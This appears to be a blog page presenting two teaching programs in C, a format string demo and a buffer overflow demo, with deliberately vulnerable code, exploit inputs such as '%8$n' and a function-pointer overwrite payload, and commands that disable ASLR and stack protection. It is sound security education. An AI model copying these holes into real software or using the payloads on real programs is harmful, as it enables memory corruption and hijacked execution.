Format String Exploit Demo Code

This demonstration shows another fun exploitation of a programmer error: a format string vulnerability lets you read and write memory that you aren’t supposed to be able to access. See also: Buffer Overflow Format String Vulnerability Download: formatstring.c Compilation gcc -o formatstring formatstring.c # You may also need to disable ASLR system-wide echo 0 | sudo tee /proc/sys/kernel/randomize_va_space Source Code /* * Format String Vulnerability Demonstration * * Copyright (c) 2025 Martin Domig <martin@domig.net> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * * This program demonstrates a format string vulnerability. * The user can control the format string passed to printf. * * EDUCATIONAL PURPOSE ONLY - DO NOT USE IN PRODUCTION */ #include <stdio.h> #include <stdlib.h> /*********************************************************************** FORMAT STRING VULNERABILITY This demonstrates a format string vulnerability: the user controls the format string to printf. To compile: gcc -o formatstring formatstring.c Note: Modern systems increase the difficulty of memory attacks using ASLR (Address Space Layout Randomization).You can disable ASLR (Address Space Layout Randomization) and other security features to test this, but you must never do this in production: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space Possible exploits: 1. Leaking Stack Information: If the user inputs a format string like "%x %x %x", it can leak stack information, including addresses and possibly sensitive data. ./formatstring "%08x %08x %08x %08x" 2. Arbitrary Memory Access: If the user inputs a format string like "%s", it can read arbitrary memory locations, potentially exposing sensitive information or crashing the program. ./formatstring "%s" This can be used to read values from stack. For example, this prints the stack contents, including the given format string itself as string: ./formatstring "BEGIN>%08x %08x %08x %08x %08x %08x %08x %08x %s<END" Reading from stack addresses as strings: ./formatstring "%s %s %s %s" Note: These examples may crash the program or show limited results due to modern security measures. The vulnerability is demonstrated by the ability to read stack values and potentially crash the program. Now, let's try to read the secret message from the stack, the secret string pointer appears in stack position 8: ./formatstring "%8\$s" This directly displays our secret string! Alternatively, you can first find where the secret is located by examining stack values: ./formatstring "%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" Look for ASCII-like hex values (20756f59 = " ouY" in reverse byte order). 3. Attempting to Write to Memory: If the user inputs a format string like "%n", it can attempt to write to a memory location, which can lead to arbitrary code execution or crashes. ./formatstring "%n" To overwrite our secret, we can use the pointer at stack position 8. The %n format specifier writes the number of characters output so far to the memory address: ./formatstring "HACKED%8\$n" This writes the value 6 (length of "HACKED") to our secret buffer, effectively overwriting it! Check the checksum before and after. For a more targeted attack, you could construct the secret's address and use it with %n to overwrite the secret buffer (this requires knowing the exact memory layout and is complex with modern protections). ***********************************************************************/ // The compiler will only catch obvious format string vulnerabilities // like this one. This directive disables that warning. #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wformat-security" static unsigned int calculate_checksum(const char *str) { unsigned int checksum = 0; while (*str) { checksum += *str++; } return checksum; } int main(int argc, char *argv[]) { char our_secret[] = "You are not supposed to know this!"; char *secret_ptr = our_secret; // Put a pointer to the secret on the stack // Even though secret_ptr is used in calculate_checksum(), we still need this // asm directive to ensure consistent stack layout, especially with // optimization asm volatile("" : : "r"(our_secret), "r"(secret_ptr) : "memory"); if (argc < 2) { fprintf(stderr, "Usage: %s <name>\n", argv[0]); return EXIT_FAILURE; } const char *name = argv[1]; printf("Format string vulnerability demonstration\n"); printf("Hello, "); printf(name); // Vulnerable to format string attack printf("!\n"); printf("Secret checksum: %08x\n", calculate_checksum(secret_ptr)); return EXIT_SUCCESS; }

January 19, 2026 · 4 min

Buffer Overflow Demo Code

This is a simplified demonstration program showing how a basic buffer overflow can hijack control flow. It’s deliberately simplified to illustrate the concept without modern protections. See also: See also: Buffer Overflow Format String Vulnerability Download: bufferoverflow.c Compilation # Disable stack protection for demonstration gcc -fno-stack-protector -o bufferoverflow bufferoverflow.c # You may also need to disable ASLR system-wide echo 0 | sudo tee /proc/sys/kernel/randomize_va_space Source Code /* * Buffer Overflow Vulnerability demonstration * * Copyright (c) 2025 Martin Domig <martin@domig.net> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * * This program demonstrates a buffer overflow vulnerability. * The user can control the input size and overflow the buffer. * * EDUCATIONAL PURPOSE ONLY - DO NOT USE IN PRODUCTION */ #include <stdio.h> #include <stdlib.h> #include <string.h> // clang-format off /*********************************************************************** BUFFER OVERFLOW VULNERABILITY This demonstrates a buffer overflow vulnerability: the user controls the input size and can overflow the buffer. Note: Modern systems have multiple protections (stack canaries, NX bit, ASLR). You may need to disable some protections for educational demonstrations: # Disable ASLR echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Compile without stack protection gcc -fno-stack-protector -o bufferoverflow bufferoverflow.c Stack protection works by adding a canary value between local variables and the return address on the stack. This canary is checked before the function returns; if it has been altered, the program will terminate, preventing exploitation. Also, the compiler might reorder variables on the stack (variable reordering). Attackers cannot expect to know the exact layout of the stack from the source code. Possible exploits: 1. Normal Operation (baseline): First, test with normal input to see expected behavior: ./bufferoverflow "Hello" This should show normal checksums for both secret and data. 2. Small Buffer Overflow (data corruption): Overflow the 16-byte buffer to corrupt adjacent memory: This exactly fills the buffer: ./bufferoverflow "AAAAAAAAAAAAAAAA" This overwrites the function pointer (24 bytes total from start of buffer) and will probably cause a segmentation fault: ./bufferoverflow "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC" This overflows beyond the function pointer and will also change the secret: ./bufferoverflow "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCD" Compare the checksums - the second should show changed values, indicating memory corruption. 3. Function Pointer Hijacking: The program has a function pointer that can be overwritten to call vulnerable_function. First, find the function addresses: ./bufferoverflow "test" Look for the vulnerable_function address in the output (e.g., 0x555555555283). Then create a payload to overwrite the function pointer at offset 24: python3 -c " import struct vulnerable_function_addr = 0x555555555283 # Use address from program output padding = b'A' * 24 # Exact offset to reach function pointer payload = padding + struct.pack('<Q', vulnerable_function_addr) with open('/tmp/payload', 'wb') as f: f.write(payload) " && cat /tmp/payload | ./bufferoverflow --stdin This should call the vulnerable function instead of the safe function. 4. Shellcode (theoretical): In theory, a buffer overflow could inject and execute arbitrary machine code. However, modern systems have the NX (No eXecute) bit which prevents execution of code on the stack. Even with stack protection disabled, the stack is typically not executable by default. This is why function pointer hijacking (example 3) is more practical - it uses existing executable code rather than injecting new code. Real shellcode exploits would require: - Executable stack (-z execstack) OR - Return-oriented programming techniques (use existing executable code) OR - Heap-based buffer overflows in executable regions For educational purposes, function pointer hijacking demonstrates the core concepts without requiring additional system modifications. ***********************************************************************/ // clang-format on static unsigned int calculate_checksum(const char *str) { unsigned int checksum = 0; while (*str) { checksum += *str++; } return checksum; } // The vulnerable function we want to call - for demonstration purposes static void vulnerable_function() { printf("*** VULNERABLE FUNCTION CALLED - EXPLOIT SUCCESSFUL! ***\n"); } // Safe function that does nothing static void safe_function() { printf("Safe function called - no exploit\n"); } static char stdin_buffer[256] = {0}; static size_t stdin_length = 0; static void fill_user_data(const char *input, const char **user_data, size_t *data_length) { if (strcmp(input, "--stdin") == 0) { // Read from stdin - use binary read to handle null bytes stdin_length = fread(stdin_buffer, 1, sizeof(stdin_buffer) - 1, stdin); if (stdin_length > 0) { *user_data = stdin_buffer; *data_length = stdin_length; } else { fprintf(stderr, "Error reading from stdin\n"); exit(EXIT_FAILURE); } } else { // Use command line argument *user_data = input; *data_length = strlen(input); } } int main(int argc, char *argv[]) { char our_secret[50] = "You are not supposed to know this!"; // Function pointer that can be overwritten by buffer overflow - put it right // after data void (*func_ptr)() = safe_function; char data[16] = {0}; // Buffer to hold the secret message char *secret_ptr = our_secret; // Put a pointer to the secret on the stack char *data_ptr = data; // Put a pointer to the data on the stack // This asm directive ensures consistent stack layout, especially with // optimization asm volatile("" : : "r"(our_secret), "r"(secret_ptr), "r"(data), "r"(data_ptr), "r"(func_ptr) : "memory"); if (argc < 2) { fprintf(stderr, "Usage: %s <data>\n", argv[0]); fprintf(stderr, " or: %s --stdin\n", argv[0]); return EXIT_FAILURE; } const char *user_data; size_t data_length; fill_user_data(argv[1], &user_data, &data_length); printf("Buffer overflow vulnerability demonstration\n"); printf("Will copy %d bytes into the buffer\n", (int)data_length); printf("Data buffer at: %p\n", (void *)data); printf("Function pointer at: %p, points to: %p\n", (void *)&func_ptr, (void *)func_ptr); printf("vulnerable_function at: %p\n", (void *)vulnerable_function); memcpy(data, user_data, data_length); // vulnerable to buffer overflow printf("Secret checksum: %08x\n", calculate_checksum(secret_ptr)); printf("Data checksum: %08x\n", calculate_checksum(data_ptr)); // Call the function pointer - this can be hijacked! printf("Calling function pointer...\n"); func_ptr(); return EXIT_SUCCESS; }

October 8, 2025 · 6 min